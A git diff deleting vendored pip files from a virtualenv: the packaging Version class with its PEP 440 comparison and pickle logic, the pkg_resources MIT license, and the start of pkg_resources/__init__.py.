-    msg = f"local must be a valid version string, got {value!r}"
-    raise InvalidVersion(msg)
-
-
-# Backward compatibility for internals before 26.0. Do not use.
-class _Version(NamedTuple):
-    epoch: int
-    release: tuple[int, ...]
-    dev: tuple[Literal["dev"], int] | None
-    pre: tuple[Literal["a", "b", "rc"], int] | None
-    post: tuple[Literal["post"], int] | None
-    local: LocalType | None
-
-
-class Version(_BaseVersion):
-    """This class abstracts handling of a project's versions.
-
-    A :class:`Version` instance is comparison aware and can be compared and
-    sorted using the standard Python interfaces.
-
-    >>> v1 = Version("1.0a5")
-    >>> v2 = Version("1.0")
-    >>> v1
-    
-    >>> v2
-    
-    >>> v1 < v2
-    True
-    >>> v1 == v2
-    False
-    >>> v1 > v2
-    False
-    >>> v1 >= v2
-    False
-    >>> v1 <= v2
-    True
-
-    :class:`Version` is immutable; use :meth:`__replace__` to change
-    part of a version.
-
-    Instances are safe to serialize with :mod:`pickle`. They use a stable
-    format so the same pickle can be loaded in future packaging releases.
-
-    .. versionchanged:: 26.2
-
-        Added a stable pickle format. Pickles created with packaging 26.2+ can
-        be unpickled with future releases.  Backward compatibility with pickles
-        from pip._vendor.packaging < 26.2 is supported but may be removed in a future
-        release.
-    """
-
-    __slots__ = (
-        "_dev",
-        "_epoch",
-        "_hash_cache",
-        "_key_cache",
-        "_local",
-        "_post",
-        "_pre",
-        "_release",
-    )
-    __match_args__ = ("_str",)
-    """
-    Pattern matching is supported on Python 3.10+.
-
-    .. versionadded:: 26.0
-
-    :meta hide-value:
-    """
-
-    _regex = re.compile(r"\s*" + VERSION_PATTERN + r"\s*", re.VERBOSE | re.IGNORECASE)
-
-    _epoch: int
-    _release: tuple[int, ...]
-    _dev: tuple[Literal["dev"], int] | None
-    _pre: tuple[Literal["a", "b", "rc"], int] | None
-    _post: tuple[Literal["post"], int] | None
-    _local: LocalType | None
-
-    _hash_cache: int | None
-    _key_cache: CmpKey | None
-
-    def __init__(self, version: str) -> None:
-        """Initialize a Version object.
-
-        :param version:
-            The string representation of a version which will be parsed and normalized
-            before use.
-        :raises InvalidVersion:
-            If the ``version`` does not conform to PEP 440 in any way then this
-            exception will be raised.
-        """
-        if _SIMPLE_VERSION_INDICATORS.issuperset(version):
-            try:
-                self._release = tuple(map(int, version.split(".")))
-            except ValueError:
-                # Empty parts (from "1..2", ".1", etc.) are invalid versions.
-                # Any other ValueError (e.g. int str-digits limit) should
-                # propagate to the caller.
-                if "" in version.split("."):
-                    raise InvalidVersion(f"Invalid version: {version!r}") from None
-                # TODO: remove "no cover" when Python 3.9 is dropped.
-                raise  # pragma: no cover
-
-            self._epoch = 0
-            self._pre = None
-            self._post = None
-            self._dev = None
-            self._local = None
-            self._key_cache = None
-            self._hash_cache = None
-            return
-
-        # Validate the version and parse it into pieces
-        match = self._regex.fullmatch(version)
-        if not match:
-            raise InvalidVersion(f"Invalid version: {version!r}")
-        self._epoch = int(match.group("epoch")) if match.group("epoch") else 0
-        self._release = tuple(map(int, match.group("release").split(".")))
-        # We can type ignore the assignments below because the regex guarantees
-        # the correct strings
-        self._pre = _parse_letter_version(match.group("pre_l"), match.group("pre_n"))  # type: ignore[assignment]
-        self._post = _parse_letter_version(  # type: ignore[assignment]
-            match.group("post_l"), match.group("post_n1") or match.group("post_n2")
-        )
-        self._dev = _parse_letter_version(match.group("dev_l"), match.group("dev_n"))  # type: ignore[assignment]
-        self._local = _parse_local_version(match.group("local"))
-
-        # Key which will be used for sorting
-        self._key_cache = None
-        self._hash_cache = None
-
-    @classmethod
-    def from_parts(
-        cls,
-        *,
-        epoch: int = 0,
-        release: tuple[int, ...],
-        pre: tuple[str, int] | None = None,
-        post: int | None = None,
-        dev: int | None = None,
-        local: str | None = None,
-    ) -> Self:
-        """
-        Return a new version composed of the various parts.
-
-        This allows you to build a version without going though a string and
-        running a regular expression. It normalizes pre-release strings. The
-        ``release=`` keyword argument is required.
-
-        >>> Version.from_parts(release=(1,2,3))
-        
-        >>> Version.from_parts(release=(0,1,0), pre=("b", 1))
-        
-
-        :param epoch:
-        :param release: This version tuple is required
-
-        .. versionadded:: 26.1
-        """
-        _epoch = _validate_epoch(epoch)
-        _release = _validate_release(release)
-        _pre = _validate_pre(pre) if pre is not None else None
-        _post = _validate_post(post) if post is not None else None
-        _dev = _validate_dev(dev) if dev is not None else None
-        _local = _validate_local(local) if local is not None else None
-
-        new_version = cls.__new__(cls)
-        new_version._key_cache = None
-        new_version._hash_cache = None
-        new_version._epoch = _epoch
-        new_version._release = _release
-        new_version._pre = _pre
-        new_version._post = _post
-        new_version._dev = _dev
-        new_version._local = _local
-
-        return new_version
-
-    def __replace__(self, **kwargs: Unpack[_VersionReplace]) -> Self:
-        """
-        __replace__(*, epoch=..., release=..., pre=..., post=..., dev=..., local=...)
-
-        Return a new version with parts replaced.
-
-        This returns a new version (unless no parts were changed). The
-        pre-release is normalized. Setting a value to ``None`` clears it.
-
-        >>> v = Version("1.2.3")
-        >>> v.__replace__(pre=("a", 1))
-        
-
-        :param int | None epoch:
-        :param tuple[int, ...] | None release:
-        :param tuple[str, int] | None pre:
-        :param int | None post:
-        :param int | None dev:
-        :param str | None local:
-
-        .. versionadded:: 26.0
-        .. versionchanged:: 26.1
-
-           The pre-release portion is now normalized.
-        """
-        epoch = _validate_epoch(kwargs["epoch"]) if "epoch" in kwargs else self._epoch
-        release = (
-            _validate_release(kwargs["release"])
-            if "release" in kwargs
-            else self._release
-        )
-        pre = _validate_pre(kwargs["pre"]) if "pre" in kwargs else self._pre
-        post = _validate_post(kwargs["post"]) if "post" in kwargs else self._post
-        dev = _validate_dev(kwargs["dev"]) if "dev" in kwargs else self._dev
-        local = _validate_local(kwargs["local"]) if "local" in kwargs else self._local
-
-        if (
-            epoch == self._epoch
-            and release == self._release
-            and pre == self._pre
-            and post == self._post
-            and dev == self._dev
-            and local == self._local
-        ):
-            return self
-
-        new_version = self.__class__.__new__(self.__class__)
-        new_version._key_cache = None
-        new_version._hash_cache = None
-        new_version._epoch = epoch
-        new_version._release = release
-        new_version._pre = pre
-        new_version._post = post
-        new_version._dev = dev
-        new_version._local = local
-
-        return new_version
-
-    @property
-    def _key(self) -> CmpKey:
-        if self._key_cache is None:
-            self._key_cache = _cmpkey(
-                self._epoch,
-                self._release,
-                self._pre,
-                self._post,
-                self._dev,
-                self._local,
-            )
-        return self._key_cache
-
-    # __hash__ must be defined when __eq__ is overridden,
-    # otherwise Python sets __hash__ to None.
-    def __hash__(self) -> int:
-        if (cached_hash := self._hash_cache) is not None:
-            return cached_hash
-
-        if (key := self._key_cache) is None:
-            self._key_cache = key = _cmpkey(
-                self._epoch,
-                self._release,
-                self._pre,
-                self._post,
-                self._dev,
-                self._local,
-            )
-        self._hash_cache = cached_hash = hash(key)
-        return cached_hash
-
-    # Override comparison methods to use direct _key_cache access
-    # This is faster than property access, especially before Python 3.12
-    def __lt__(self, other: _BaseVersion) -> bool:
-        if isinstance(other, Version):
-            if self._key_cache is None:
-                self._key_cache = _cmpkey(
-                    self._epoch,
-                    self._release,
-                    self._pre,
-                    self._post,
-                    self._dev,
-                    self._local,
-                )
-            if other._key_cache is None:
-                other._key_cache = _cmpkey(
-                    other._epoch,
-                    other._release,
-                    other._pre,
-                    other._post,
-                    other._dev,
-                    other._local,
-                )
-            return self._key_cache < other._key_cache
-
-        if not isinstance(other, _BaseVersion):
-            return NotImplemented
-
-        return super().__lt__(other)
-
-    def __le__(self, other: _BaseVersion) -> bool:
-        if isinstance(other, Version):
-            if self._key_cache is None:
-                self._key_cache = _cmpkey(
-                    self._epoch,
-                    self._release,
-                    self._pre,
-                    self._post,
-                    self._dev,
-                    self._local,
-                )
-            if other._key_cache is None:
-                other._key_cache = _cmpkey(
-                    other._epoch,
-                    other._release,
-                    other._pre,
-                    other._post,
-                    other._dev,
-                    other._local,
-                )
-            return self._key_cache <= other._key_cache
-
-        if not isinstance(other, _BaseVersion):
-            return NotImplemented
-
-        return super().__le__(other)
-
-    def __eq__(self, other: object) -> bool:
-        if isinstance(other, Version):
-            if self._key_cache is None:
-                self._key_cache = _cmpkey(
-                    self._epoch,
-                    self._release,
-                    self._pre,
-                    self._post,
-                    self._dev,
-                    self._local,
-                )
-            if other._key_cache is None:
-                other._key_cache = _cmpkey(
-                    other._epoch,
-                    other._release,
-                    other._pre,
-                    other._post,
-                    other._dev,
-                    other._local,
-                )
-            return self._key_cache == other._key_cache
-
-        if not isinstance(other, _BaseVersion):
-            return NotImplemented
-
-        return super().__eq__(other)
-
-    def __ge__(self, other: _BaseVersion) -> bool:
-        if isinstance(other, Version):
-            if self._key_cache is None:
-                self._key_cache = _cmpkey(
-                    self._epoch,
-                    self._release,
-                    self._pre,
-                    self._post,
-                    self._dev,
-                    self._local,
-                )
-            if other._key_cache is None:
-                other._key_cache = _cmpkey(
-                    other._epoch,
-                    other._release,
-                    other._pre,
-                    other._post,
-                    other._dev,
-                    other._local,
-                )
-            return self._key_cache >= other._key_cache
-
-        if not isinstance(other, _BaseVersion):
-            return NotImplemented
-
-        return super().__ge__(other)
-
-    def __gt__(self, other: _BaseVersion) -> bool:
-        if isinstance(other, Version):
-            if self._key_cache is None:
-                self._key_cache = _cmpkey(
-                    self._epoch,
-                    self._release,
-                    self._pre,
-                    self._post,
-                    self._dev,
-                    self._local,
-                )
-            if other._key_cache is None:
-                other._key_cache = _cmpkey(
-                    other._epoch,
-                    other._release,
-                    other._pre,
-                    other._post,
-                    other._dev,
-                    other._local,
-                )
-            return self._key_cache > other._key_cache
-
-        if not isinstance(other, _BaseVersion):
-            return NotImplemented
-
-        return super().__gt__(other)
-
-    def __ne__(self, other: object) -> bool:
-        if isinstance(other, Version):
-            if self._key_cache is None:
-                self._key_cache = _cmpkey(
-                    self._epoch,
-                    self._release,
-                    self._pre,
-                    self._post,
-                    self._dev,
-                    self._local,
-                )
-            if other._key_cache is None:
-                other._key_cache = _cmpkey(
-                    other._epoch,
-                    other._release,
-                    other._pre,
-                    other._post,
-                    other._dev,
-                    other._local,
-                )
-            return self._key_cache != other._key_cache
-
-        if not isinstance(other, _BaseVersion):
-            return NotImplemented
-
-        return super().__ne__(other)
-
-    def __getstate__(
-        self,
-    ) -> tuple[
-        int,
-        tuple[int, ...],
-        tuple[str, int] | None,
-        tuple[str, int] | None,
-        tuple[str, int] | None,
-        LocalType | None,
-    ]:
-        # Return state as a 6-item tuple for compactness:
-        #   (epoch, release, pre, post, dev, local)
-        # Cache members are excluded and will be recomputed on demand
-        return (
-            self._epoch,
-            self._release,
-            self._pre,
-            self._post,
-            self._dev,
-            self._local,
-        )
-
-    def __setstate__(self, state: object) -> None:
-        # Always discard cached values — they may contain stale references
-        # (e.g. packaging._structures.InfinityType from pre-26.1 pickles)
-        # and will be recomputed on demand from the core fields above.
-        self._key_cache = None
-        self._hash_cache = None
-
-        if isinstance(state, tuple):
-            if len(state) == 6:
-                # New format (26.2+): (epoch, release, pre, post, dev, local)
-                (
-                    self._epoch,
-                    self._release,
-                    self._pre,
-                    self._post,
-                    self._dev,
-                    self._local,
-                ) = state
-                return
-            if len(state) == 2:
-                # Format (packaging 26.0-26.1): (None, {slot: value}).
-                _, slot_dict = state
-                if isinstance(slot_dict, dict):
-                    self._epoch = slot_dict["_epoch"]
-                    self._release = slot_dict["_release"]
-                    self._pre = slot_dict.get("_pre")
-                    self._post = slot_dict.get("_post")
-                    self._dev = slot_dict.get("_dev")
-                    self._local = slot_dict.get("_local")
-                    return
-        if isinstance(state, dict):
-            # Old format (packaging <= 25.x, no __slots__): state is a plain
-            # dict with "_version" (_Version NamedTuple) and "_key" entries.
-            version_nt = state.get("_version")
-            if version_nt is not None:
-                self._epoch = version_nt.epoch
-                self._release = version_nt.release
-                self._pre = version_nt.pre
-                self._post = version_nt.post
-                self._dev = version_nt.dev
-                self._local = version_nt.local
-                return
-
-        raise TypeError(f"Cannot restore Version from {state!r}")
-
-    @property
-    @_deprecated("Version._version is private and will be removed soon")
-    def _version(self) -> _Version:
-        return _Version(
-            self._epoch, self._release, self._dev, self._pre, self._post, self._local
-        )
-
-    @_version.setter
-    @_deprecated("Version._version is private and will be removed soon")
-    def _version(self, value: _Version) -> None:
-        self._epoch = value.epoch
-        self._release = value.release
-        self._dev = value.dev
-        self._pre = value.pre
-        self._post = value.post
-        self._local = value.local
-        self._key_cache = None
-        self._hash_cache = None
-
-    def __repr__(self) -> str:
-        """A representation of the Version that shows all internal state.
-
-        >>> Version('1.0.0')
-        
-        """
-        return f"<{self.__class__.__name__}({str(self)!r})>"
-
-    def __str__(self) -> str:
-        """A string representation of the version that can be round-tripped.
-
-        >>> str(Version("1.0a5"))
-        '1.0a5'
-        """
-        # This is a hot function, so not calling self.base_version
-        version = ".".join(map(str, self.release))
-
-        # Epoch
-        if self.epoch:
-            version = f"{self.epoch}!{version}"
-
-        # Pre-release
-        if self.pre is not None:
-            version += "".join(map(str, self.pre))
-
-        # Post-release
-        if self.post is not None:
-            version += f".post{self.post}"
-
-        # Development release
-        if self.dev is not None:
-            version += f".dev{self.dev}"
-
-        # Local version segment
-        if self.local is not None:
-            version += f"+{self.local}"
-
-        return version
-
-    @property
-    def _str(self) -> str:
-        """Internal property for match_args"""
-        return str(self)
-
-    @property
-    def epoch(self) -> int:
-        """The epoch of the version.
-
-        >>> Version("2.0.0").epoch
-        0
-        >>> Version("1!2.0.0").epoch
-        1
-        """
-        return self._epoch
-
-    @property
-    def release(self) -> tuple[int, ...]:
-        """The components of the "release" segment of the version.
-
-        >>> Version("1.2.3").release
-        (1, 2, 3)
-        >>> Version("2.0.0").release
-        (2, 0, 0)
-        >>> Version("1!2.0.0.post0").release
-        (2, 0, 0)
-
-        Includes trailing zeroes but not the epoch or any pre-release / development /
-        post-release suffixes.
-        """
-        return self._release
-
-    @property
-    def pre(self) -> tuple[Literal["a", "b", "rc"], int] | None:
-        """The pre-release segment of the version.
-
-        >>> print(Version("1.2.3").pre)
-        None
-        >>> Version("1.2.3a1").pre
-        ('a', 1)
-        >>> Version("1.2.3b1").pre
-        ('b', 1)
-        >>> Version("1.2.3rc1").pre
-        ('rc', 1)
-        """
-        return self._pre
-
-    @property
-    def post(self) -> int | None:
-        """The post-release number of the version.
-
-        >>> print(Version("1.2.3").post)
-        None
-        >>> Version("1.2.3.post1").post
-        1
-        """
-        return self._post[1] if self._post else None
-
-    @property
-    def dev(self) -> int | None:
-        """The development number of the version.
-
-        >>> print(Version("1.2.3").dev)
-        None
-        >>> Version("1.2.3.dev1").dev
-        1
-        """
-        return self._dev[1] if self._dev else None
-
-    @property
-    def local(self) -> str | None:
-        """The local version segment of the version.
-
-        >>> print(Version("1.2.3").local)
-        None
-        >>> Version("1.2.3+abc").local
-        'abc'
-        """
-        if self._local:
-            return ".".join(str(x) for x in self._local)
-        else:
-            return None
-
-    @property
-    def public(self) -> str:
-        """The public portion of the version.
-
-        This returns a string. If you want a :class:`Version` again and care
-        about performance, use ``v.__replace__(local=None)`` instead.
-
-        >>> Version("1.2.3").public
-        '1.2.3'
-        >>> Version("1.2.3+abc").public
-        '1.2.3'
-        >>> Version("1!1.2.3dev1+abc").public
-        '1!1.2.3.dev1'
-        """
-        return str(self).split("+", 1)[0]
-
-    @property
-    def base_version(self) -> str:
-        """The "base version" of the version.
-
-        This returns a string. If you want a :class:`Version` again and care
-        about performance, use
-        ``v.__replace__(pre=None, post=None, dev=None, local=None)`` instead.
-
-        >>> Version("1.2.3").base_version
-        '1.2.3'
-        >>> Version("1.2.3+abc").base_version
-        '1.2.3'
-        >>> Version("1!1.2.3dev1+abc").base_version
-        '1!1.2.3'
-
-        The "base version" is the public version of the project without any pre or post
-        release markers.
-        """
-        release_segment = ".".join(map(str, self.release))
-        return f"{self.epoch}!{release_segment}" if self.epoch else release_segment
-
-    @property
-    def is_prerelease(self) -> bool:
-        """Whether this version is a pre-release.
-
-        >>> Version("1.2.3").is_prerelease
-        False
-        >>> Version("1.2.3a1").is_prerelease
-        True
-        >>> Version("1.2.3b1").is_prerelease
-        True
-        >>> Version("1.2.3rc1").is_prerelease
-        True
-        >>> Version("1.2.3dev1").is_prerelease
-        True
-        """
-        return self.dev is not None or self.pre is not None
-
-    @property
-    def is_postrelease(self) -> bool:
-        """Whether this version is a post-release.
-
-        >>> Version("1.2.3").is_postrelease
-        False
-        >>> Version("1.2.3.post1").is_postrelease
-        True
-        """
-        return self.post is not None
-
-    @property
-    def is_devrelease(self) -> bool:
-        """Whether this version is a development release.
-
-        >>> Version("1.2.3").is_devrelease
-        False
-        >>> Version("1.2.3.dev1").is_devrelease
-        True
-        """
-        return self.dev is not None
-
-    @property
-    def major(self) -> int:
-        """The first item of :attr:`release` or ``0`` if unavailable.
-
-        >>> Version("1.2.3").major
-        1
-        """
-        return self.release[0] if len(self.release) >= 1 else 0
-
-    @property
-    def minor(self) -> int:
-        """The second item of :attr:`release` or ``0`` if unavailable.
-
-        >>> Version("1.2.3").minor
-        2
-        >>> Version("1").minor
-        0
-        """
-        return self.release[1] if len(self.release) >= 2 else 0
-
-    @property
-    def micro(self) -> int:
-        """The third item of :attr:`release` or ``0`` if unavailable.
-
-        >>> Version("1.2.3").micro
-        3
-        >>> Version("1").micro
-        0
-        """
-        return self.release[2] if len(self.release) >= 3 else 0
-
-
-class _TrimmedRelease(Version):
-    __slots__ = ()
-
-    def __init__(self, version: str | Version) -> None:
-        if isinstance(version, Version):
-            self._epoch = version._epoch
-            self._release = version._release
-            self._dev = version._dev
-            self._pre = version._pre
-            self._post = version._post
-            self._local = version._local
-            self._key_cache = version._key_cache
-            return
-        super().__init__(version)  # pragma: no cover
-
-    @property
-    def release(self) -> tuple[int, ...]:
-        """
-        Release segment without any trailing zeros.
-
-        >>> _TrimmedRelease('1.0.0').release
-        (1,)
-        >>> _TrimmedRelease('0.0').release
-        (0,)
-        """
-        # This leaves one 0.
-        rel = super().release
-        len_release = len(rel)
-        i = len_release
-        while i > 1 and rel[i - 1] == 0:
-            i -= 1
-        return rel if i == len_release else rel[:i]
-
-
-def _parse_letter_version(
-    letter: str | None, number: str | bytes | SupportsInt | None
-) -> tuple[str, int] | None:
-    if letter:
-        # We normalize any letters to their lower case form
-        letter = letter.lower()
-
-        # We consider some words to be alternate spellings of other words and
-        # in those cases we want to normalize the spellings to our preferred
-        # spelling.
-        letter = _LETTER_NORMALIZATION.get(letter, letter)
-
-        # We consider there to be an implicit 0 in a pre-release if there is
-        # not a numeral associated with it.
-        return letter, int(number or 0)
-
-    if number:
-        # We assume if we are given a number, but we are not given a letter
-        # then this is using the implicit post release syntax (e.g. 1.0-1)
-        return "post", int(number)
-
-    return None
-
-
-_local_version_separators = re.compile(r"[\._-]")
-
-
-def _parse_local_version(local: str | None) -> LocalType | None:
-    """
-    Takes a string like ``"abc.1.twelve"`` and turns it into
-    ``("abc", 1, "twelve")``.
-    """
-    if local is not None:
-        return tuple(
-            part.lower() if not part.isdigit() else int(part)
-            for part in _local_version_separators.split(local)
-        )
-    return None
-
-
-# Sort ranks for pre-release: dev-only < a < b < rc < stable (no pre-release).
-_PRE_RANK = {"a": 0, "b": 1, "rc": 2}
-_PRE_RANK_DEV_ONLY = -1  # sorts before a(0)
-_PRE_RANK_STABLE = 3  # sorts after rc(2)
-
-# In local version segments, strings sort before ints per PEP 440.
-_LOCAL_STR_RANK = -1  # sorts before all non-negative ints
-
-# Pre-computed suffix for stable releases (no pre, post, or dev segments).
-# See _cmpkey() for the suffix layout.
-_STABLE_SUFFIX = (_PRE_RANK_STABLE, 0, 0, 0, 1, 0)
-
-
-def _cmpkey(
-    epoch: int,
-    release: tuple[int, ...],
-    pre: tuple[str, int] | None,
-    post: tuple[str, int] | None,
-    dev: tuple[str, int] | None,
-    local: LocalType | None,
-) -> CmpKey:
-    """Build a comparison key for PEP 440 ordering.
-
-    Returns ``(epoch, release, suffix)`` or
-    ``(epoch, release, suffix, local)`` so that plain tuple
-    comparison gives the correct order.
-
-    Trailing zeros are stripped from the release so that ``1.0.0 == 1``.
-
-    The suffix is a flat 6-int tuple that encodes pre/post/dev:
-    ``(pre_rank, pre_n, post_rank, post_n, dev_rank, dev_n)``
-
-    pre_rank: dev-only=-1, a=0, b=1, rc=2, no-pre=3
-        Dev-only releases (no pre or post) get -1 so they sort before
-        any alpha/beta/rc.  Releases without a pre-release tag get 3
-        so they sort after rc.
-    post_rank: no-post=0, post=1
-        Releases without a post segment sort before those with one.
-    dev_rank: dev=0, no-dev=1
-        Releases without a dev segment sort after those with one.
-
-    Local segments use ``(n, "")`` for ints and ``(-1, s)`` for strings,
-    following PEP 440: strings sort before ints, strings compare
-    lexicographically, ints compare numerically, and shorter segments
-    sort before longer when prefixes match.  Versions without a local
-    segment sort before those with one (3-tuple < 4-tuple).
-
-    >>> _cmpkey(0, (1, 0, 0), None, None, None, None)
-    (0, (1,), (3, 0, 0, 0, 1, 0))
-    >>> _cmpkey(0, (1,), ("a", 1), None, None, None)
-    (0, (1,), (0, 1, 0, 0, 1, 0))
-    >>> _cmpkey(0, (1,), None, None, None, ("ubuntu", 1))
-    (0, (1,), (3, 0, 0, 0, 1, 0), ((-1, 'ubuntu'), (1, '')))
-    """
-    # Strip trailing zeros: 1.0.0 compares equal to 1.
-    len_release = len(release)
-    i = len_release
-    while i and release[i - 1] == 0:
-        i -= 1
-    trimmed = release if i == len_release else release[:i]
-
-    # Fast path: stable release with no local segment.
-    if pre is None and post is None and dev is None and local is None:
-        return epoch, trimmed, _STABLE_SUFFIX
-
-    if pre is None and post is None and dev is not None:
-        # dev-only (e.g. 1.0.dev1) sorts before all pre-releases.
-        pre_rank, pre_n = _PRE_RANK_DEV_ONLY, 0
-    elif pre is None:
-        pre_rank, pre_n = _PRE_RANK_STABLE, 0
-    else:
-        pre_rank, pre_n = _PRE_RANK[pre[0]], pre[1]
-
-    post_rank = 0 if post is None else 1
-    post_n = 0 if post is None else post[1]
-
-    dev_rank = 1 if dev is None else 0
-    dev_n = 0 if dev is None else dev[1]
-
-    suffix = (pre_rank, pre_n, post_rank, post_n, dev_rank, dev_n)
-
-    if local is None:
-        return epoch, trimmed, suffix
-
-    cmp_local: CmpLocalType = tuple(
-        (seg, "") if isinstance(seg, int) else (_LOCAL_STR_RANK, seg) for seg in local
-    )
-    return epoch, trimmed, suffix, cmp_local
diff --git a/venv/Lib/site-packages/pip/_vendor/pkg_resources/LICENSE b/venv/Lib/site-packages/pip/_vendor/pkg_resources/LICENSE
deleted file mode 100644
index 1bb5a44356f00884a71ceeefd24ded6caaba2418..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/pkg_resources/LICENSE
+++ /dev/null
@@ -1,17 +0,0 @@
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to
-deal in the Software without restriction, including without limitation the
-rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
-sell copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
-FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
-IN THE SOFTWARE.
diff --git a/venv/Lib/site-packages/pip/_vendor/pkg_resources/__init__.py b/venv/Lib/site-packages/pip/_vendor/pkg_resources/__init__.py
deleted file mode 100644
index 72f2b03514d9f3f0717b0f9b83a89e418140db0b..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/pkg_resources/__init__.py
+++ /dev/null
@@ -1,3676 +0,0 @@
-# TODO: Add Generic type annotations to initialized collections.
-# For now we'd simply use implicit Any/Unknown which would add redundant annotations
-# mypy: disable-error-code="var-annotated"
-"""
-Package resource API
---------------------
-
-A resource is a logical file contained within a package, or a logical
-subdirectory thereof.  The package resource API expects resource names
-to have their path parts separated with ``/``, *not* whatever the local
-path separator is.  Do not use os.path operations to manipulate resource
-names being passed into the API.
-
-The package resource API is designed to work with normal filesystem packages,
-.egg files, and unpacked .egg files.  It can also work in a limited way with
-.zip files and with custom PEP 302 loaders that support the ``get_data()``
-method.
-
-This module is deprecated. Users are directed to :mod:`importlib.resources`,
-:mod:`importlib.metadata` and :pypi:`packaging` instead.
-"""
-
-from __future__ import annotations
-
-import sys
-
-if sys.version_info < (3, 8):  # noqa: UP036 # Check for unsupported versions
-    raise RuntimeError("Python 3.8 or later is required")
-
-import os
-import io
-import time
-import re
-import types
-from typing import (
-    Any,
-    Literal,
-    Dict,
-    Iterator,
-    Mapping,
-    MutableSequence,
-    NamedTuple,
-    NoReturn,
-    Tuple,
-    Union,
-    TYPE_CHECKING,
-    Protocol,
-    Callable,
-    Iterable,
-    TypeVar,
-    overload,
-)
-import zipfile
-import zipimport
-import warnings
-import stat
-import functools
-import pkgutil
-import operator
-import platform
-import collections
-import plistlib
-import email.parser
-import errno
-import tempfile
-import textwrap
-import inspect
-import ntpath
-import posixpath
-import importlib
-import importlib.abc
-import importlib.machinery
-from pkgutil import get_importer
-
-import _imp
-
-# capture these to bypass sandboxing
-from os import utime
-from os import open as os_open
-from os.path import isdir, split
-
-try:
-    from os import mkdir, rename, unlink
-
-    WRITE_SUPPORT = True
-except ImportError:
-    # no write support, probably under GAE
-    WRITE_SUPPORT = False
-
-from pip._internal.utils._jaraco_text import (
-    yield_lines,
-    drop_comment,
-    join_continuation,
-)
-from pip._vendor.packaging import markers as _packaging_markers
-from pip._vendor.packaging import requirements as _packaging_requirements
-from pip._vendor.packaging import utils as _packaging_utils
-from pip._vendor.packaging import version as _packaging_version
-from pip._vendor.platformdirs import user_cache_dir as _user_cache_dir
-
-if TYPE_CHECKING:
-    from _typeshed import BytesPath, StrPath, StrOrBytesPath
-    from typing_extensions import Self
-
-
-# Patch: Remove deprecation warning from vendored pkg_resources.
-# Setting PYTHONWARNINGS=error to verify builds produce no warnings
-# causes immediate exceptions.
-# See https://github.com/pypa/pip/issues/12243
-
-
-_T = TypeVar("_T")
-_DistributionT = TypeVar("_DistributionT", bound="Distribution")
-# Type aliases
-_NestedStr = Union[str, Iterable[Union[str, Iterable["_NestedStr"]]]]
-_InstallerTypeT = Callable[["Requirement"], "_DistributionT"]
-_InstallerType = Callable[["Requirement"], Union["Distribution", None]]
-_PkgReqType = Union[str, "Requirement"]
-_EPDistType = Union["Distribution", _PkgReqType]
-_MetadataType = Union["IResourceProvider", None]
-_ResolvedEntryPoint = Any  # Can be any attribute in the module
-_ResourceStream = Any  # TODO / Incomplete: A readable file-like object
-# Any object works, but let's indicate we expect something like a module (optionally has __loader__ or __file__)
-_ModuleLike = Union[object, types.ModuleType]
-# Any: Should be _ModuleLike but we end up with issues where _ModuleLike doesn't have _ZipLoaderModule's __loader__
-_ProviderFactoryType = Callable[[Any], "IResourceProvider"]
-_DistFinderType = Callable[[_T, str, bool], Iterable["Distribution"]]
-_NSHandlerType = Callable[[_T, str, str, types.ModuleType], Union[str, None]]
-_AdapterT = TypeVar(
-    "_AdapterT", _DistFinderType[Any], _ProviderFactoryType, _NSHandlerType[Any]
-)
-
-
-# Use _typeshed.importlib.LoaderProtocol once available https://github.com/python/typeshed/pull/11890
-class _LoaderProtocol(Protocol):
-    def load_module(self, fullname: str, /) -> types.ModuleType: ...
-
-
-class _ZipLoaderModule(Protocol):
-    __loader__: zipimport.zipimporter
-
-
-_PEP440_FALLBACK = re.compile(r"^v?(?P(?:[0-9]+!)?[0-9]+(?:\.[0-9]+)*)", re.I)
-
-
-class PEP440Warning(RuntimeWarning):
-    """
-    Used when there is an issue with a version or specifier not complying with
-    PEP 440.
-    """
-
-
-parse_version = _packaging_version.Version
-
-
-_state_vars: dict[str, str] = {}
-
-
-def _declare_state(vartype: str, varname: str, initial_value: _T) -> _T:
-    _state_vars[varname] = vartype
-    return initial_value
-
-
-def __getstate__() -> dict[str, Any]:
-    state = {}
-    g = globals()
-    for k, v in _state_vars.items():
-        state[k] = g['_sget_' + v](g[k])
-    return state
-
-
-def __setstate__(state: dict[str, Any]) -> dict[str, Any]:
-    g = globals()
-    for k, v in state.items():
-        g['_sset_' + _state_vars[k]](k, g[k], v)
-    return state
-
-
-def _sget_dict(val):
-    return val.copy()
-
-
-def _sset_dict(key, ob, state):
-    ob.clear()
-    ob.update(state)
-
-
-def _sget_object(val):
-    return val.__getstate__()
-
-
-def _sset_object(key, ob, state):
-    ob.__setstate__(state)
-
-
-_sget_none = _sset_none = lambda *args: None
-
-
-def get_supported_platform():
-    """Return this platform's maximum compatible version.
-
-    distutils.util.get_platform() normally reports the minimum version
-    of macOS that would be required to *use* extensions produced by
-    distutils.  But what we want when checking compatibility is to know the
-    version of macOS that we are *running*.  To allow usage of packages that
-    explicitly require a newer version of macOS, we must also know the
-    current version of the OS.
-
-    If this condition occurs for any other platform with a version in its
-    platform strings, this function should be extended accordingly.
-    """
-    plat = get_build_platform()
-    m = macosVersionString.match(plat)
-    if m is not None and sys.platform == "darwin":
-        try:
-            plat = 'macosx-%s-%s' % ('.'.join(_macos_vers()[:2]), m.group(3))
-        except ValueError:
-            # not macOS
-            pass
-    return plat
-
-
-__all__ = [
-    # Basic resource access and distribution/entry point discovery
-    'require',
-    'run_script',
-    'get_provider',
-    'get_distribution',
-    'load_entry_point',
-    'get_entry_map',
